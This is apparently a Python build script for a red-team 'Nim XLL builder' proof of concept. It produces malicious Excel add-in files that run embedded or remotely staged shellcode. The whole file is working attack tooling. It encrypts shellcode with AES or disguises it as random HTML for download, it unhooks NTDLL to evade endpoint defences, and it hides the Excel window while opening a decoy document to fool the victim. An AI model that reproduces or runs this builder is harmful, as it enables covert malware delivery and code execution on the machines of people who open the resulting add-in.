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build.py
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build.py
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import argparse
import base64
import os
import random
import shutil
from binascii import hexlify
from Crypto.Cipher import AES
from Crypto.Util import Counter
banner = """
_ _
| | |
_ _ _ _ ____ ____| | | ____
( \\ / ) | | |/ ___) _ ) | |/ _ |
) X (| |_| | | ( (/ /| | ( ( | |
(_/ \\_)\\__ |_| \\____)_|_|\\_||_|
(____/ Nim XLL builder PoC v0.2.1
"""
print(banner)
def encode_shellcode(sc_bytes):
STATE_OPEN = "<"
STATE_CLOSE = ">"
STATE_CLOSETAG = "/>"
STATE_EQUALS = " = "
STATE_PAYLOADTAG = "x"
STATE_PAYLOADBODY = "y"
STATE_TAGSPACE = "STATE_TAGSPACE"
STATE_BODYSPACE = "STATE_BODYSPACE"
STATE_CRLF = "\n"
transitions = {
STATE_OPEN : { STATE_PAYLOADTAG: 1 },
STATE_CLOSE : { STATE_PAYLOADBODY: 1 },
STATE_CLOSETAG : { STATE_OPEN: 1 },
STATE_EQUALS : { STATE_PAYLOADTAG: 1 },
STATE_PAYLOADTAG : {STATE_PAYLOADTAG: 0.5, STATE_CLOSETAG: 0.15, STATE_CLOSE: 0.15, STATE_TAGSPACE: 0.1, STATE_EQUALS: 0.1},
STATE_PAYLOADBODY : {STATE_PAYLOADBODY: 0.775, STATE_BODYSPACE: 0.1, STATE_CRLF: 0.025, STATE_OPEN: 0.1},
STATE_TAGSPACE : { STATE_PAYLOADTAG: 1 },
STATE_BODYSPACE : { STATE_PAYLOADBODY: 1 },
STATE_CRLF : { STATE_PAYLOADBODY: 1 }
}
to_encode = base64.urlsafe_b64encode(sc_bytes)
out = ""
current_state = STATE_OPEN
encoded_chars = 0
out += "<html>\n"
while encoded_chars < len(to_encode):
if current_state in [STATE_BODYSPACE, STATE_TAGSPACE]:
out += " "
elif current_state in [STATE_PAYLOADTAG, STATE_PAYLOADBODY]:
out += chr(to_encode[encoded_chars])
encoded_chars += 1
else:
out += current_state
current_state = random.choices(list(transitions[current_state].keys()), list(transitions[current_state].values()))[0]
out += "\n</html>"
return out
def bytes_to_nimarr(bytestr, varname, genconst=False):
byteenum = ""
for i in bytestr:
byteenum += "{0:#04x}, ".format(i)
if genconst:
return "const "+varname+": array[{}, byte] = [byte {}]".format(len(bytestr), byteenum[:-2])
return "var "+varname+": array[{}, byte] = [byte {}]".format(len(bytestr), byteenum[:-2])
parser = argparse.ArgumentParser()
staging = parser.add_argument_group('staging arguments')
staging.add_argument("-u", "--stageurl", type=str,
help="URL to stage from (if staged, optional)")
stageless = parser.add_argument_group('stageless arguments')
stageless.add_argument("-e", "--encrypt", action="store_true",
help="encrypt shellcode (aes128-cbc)")
compilation = parser.add_argument_group('compilation arguments')
compilation.add_argument("-n", "--skip-unhook", action="store_true",
help="do not do NTDLL unhooking")
compilation.add_argument("-w", "--hidewindow", action="store_true",
help="hide excel window during execution")
compilation.add_argument("-d", "--decoy", type=str,
help="path to the decoy file to open on startup (optional)")
compilation.add_argument("-v", "--verbose", action="store_true",
help="increase output verbosity")
compilation.add_argument("-o", "--output", type=str, default="addin.xll",
help="path to store the resulting .XLL file (optional)")
required = parser.add_argument_group('required arguments')
required.add_argument("-s", "--shellcode", type=str,
help="path to shellcode .bin (required)", required=True)
args = parser.parse_args()
with open("xll_template.nim", "r") as f:
template_str = f.read()
compile_template = "nim c --app:lib --passL:\"-static-libgcc -static -lpthread\" --hints:off --define:excel {cmdline_args} --nomain --out:{outfile} --threads:on {filename}"
cmdline_args = ""
if os.name != 'nt':
print("| cross-compilation unstable")
cmdline_args += "--define:mingw --cpu:amd64 "
if not args.skip_unhook:
cmdline_args += "--define:unhook "
print("| NTDLL unhooking: on")
else:
print("| NTDLL unhooking: off")
if args.hidewindow:
cmdline_args += "--define:hidewindow "
print("| hide excel window: on")
else:
print("| hide excel window: off")
print("| release mode: off")
if args.stageurl is None:
if args.encrypt:
print("| generating stageless payload")
print("| encryption: on")
cmdline_args += "--define:encrypted "
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
key = os.urandom(16)
iv = os.urandom(16)
ctr = Counter.new(128, initial_value=int(hexlify(iv), 16))
cipher = AES.new(key, AES.MODE_CTR, counter=ctr)
encdata = cipher.encrypt(scode_bytes)
xll_nim = template_str.replace("#[ KEY_STR ]#", bytes_to_nimarr(key, "aeskey", True))
xll_nim = xll_nim.replace("#[ IV_STR ]#", bytes_to_nimarr(iv, "aesiv", True))
xll_nim = xll_nim.replace("#[ ENC_SC ]#", bytes_to_nimarr(encdata, "aesdata", True))
else:
print("| generating stageless payload")
print("| encryption: off")
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
bytes_template = bytes_to_nimarr(scode_bytes, "shellcode")
xll_nim = template_str.replace('echo "%SHELLCODE_ARRAY%"', bytes_template)
else:
print("| generating staged payload")
cmdline_args += "--define:staged "
if args.verbose:
print(" \\ URL:", args.stageurl)
with open(args.shellcode, "rb") as f:
scode_bytes = f.read()
with open(args.shellcode+".html", "w") as f:
f.write(encode_shellcode(scode_bytes))
print("| encoded shellcode saved as", args.shellcode+".html")
xll_nim = template_str.replace('%STAGINGURL%', args.stageurl)
if args.decoy is not None:
print("| decoy file:", args.decoy)
xll_nim = xll_nim.replace("%DECOYFILE%", os.path.split(args.decoy)[1])
xll_nim = xll_nim.replace("%DECOYPATH%", args.decoy)
cmdline_args += "--define:decoy "
tempname = "temp_xll_{}.nim".format(random.randint(1,50))
with open(tempname, "w") as f:
f.write(xll_nim)
if args.verbose:
print(" \\ command line:", compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
os.system(compile_template.format(cmdline_args=cmdline_args, outfile=args.output, filename=tempname))
os.remove(tempname)
print("! should be saved to: ", args.output)